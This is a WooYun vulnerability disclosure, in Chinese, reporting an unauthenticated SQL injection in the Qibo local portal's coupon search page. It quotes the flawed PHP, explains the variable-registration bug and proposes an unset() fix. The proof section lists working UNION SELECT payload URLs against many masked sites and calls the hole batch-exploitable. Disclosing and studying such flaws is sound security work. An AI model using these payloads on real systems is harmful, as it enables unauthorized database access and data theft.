WooYun-2014-79938:齐博地方门户系统SQL注入漏洞(无需登录可批量)

漏洞作者: phith0n认证白帽子

来源:http://www.wooyun.org/bugs/wooyun-2014-079938

简要描述

我发现齐博在一般应用列表里呢,好期待~ 齐博地方门户无源码,测试可以上官网的演示站:http://life.qibosoft.com 进行测试。

详细说明

问题出在齐博搜索的位置,也就是:http://**.**.**.**/coupon/s.php

if($action=="search"){

    if(!$webdb[Info_allowGuesSearch]&&!$lfjid){

        //showerr("请先登录");

    }

    $keyword=trim($keyword);

    $keyword=str_replace("%",'\%',$keyword);

    $keyword=str_replace("_",'\_',$keyword);

    if(!$keyword){

        showerr('关键字不能为空!');

    }

    $rows=10;

    if(!$page){

        $page=1;

    }

    $min=($page-1)*$rows;

    $type = ($type=='username') ? $type : "title";

    if($fid){

        $querys = $db->query("SELECT fid FROM {$_pre}sort WHERE `fup`='$fid'");

        while($rs = $db->fetch_array($querys)){

            $fids[]=$rs[fid];

        }

        $fids=implode(",",$fids);

        if($fids){

            $sql_fid = " AND `fid` IN($fids) ";

        }else{

            $sql_fid = " AND `fid`='$fid' ";

        }

    }else{

        $sql_fid = "";

    }

代码如上,这个注入之所以不需要登录。。。是因为源码里把showerr("请先登录");注释掉 了,不知道为何。

继续往下看,看到这个while语句:

while($rs = $db->fetch_array($querys)){

$fids[]=$rs[fid];

}

查询出来fid,将$fid放进$fids数组中。之后用implode将$fids数组变成字符串,放进IN子句中,IN子句并没有单引号限制。

看起来没问题,因为$fids是$rs[fid]组成的数组。但这里很重要的是,了解齐博的都知道,齐博在inc/common.inc.php中有这样一段:

foreach($_COOKIE AS $_key=>$_value){

    unset($$_key);

}

foreach($_POST AS $_key=>$_value){

    !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];

}

foreach($_GET AS $_key=>$_value){

    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];

}

等于说将$_GET/$_POST/$_COOKIE注册成全局变量了。所以$fids的初值我们是可以控制的,这个while语句前也没有清除$fids,只是往这个数组里加$fid。

最后导致了注入。

我们可以看看演示站:

http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]='&fids[]=xx

http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0) union select user(),2,3,4,5,6,7,8,9%23

漏洞证明

http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0) union select user(),2,3,4,5,6,7,8,9%23

这个洞利用简单,无需登录,可以批量。

http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23

http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23

http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23

http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23

http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23

http://**.**.**.**//coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23

http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23

http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23

……还有太多,不列了,默默笑了,这种拿去做*产最好了,可惜我是个正直的人~

修复方案

unset($fids);之后再进入while循环。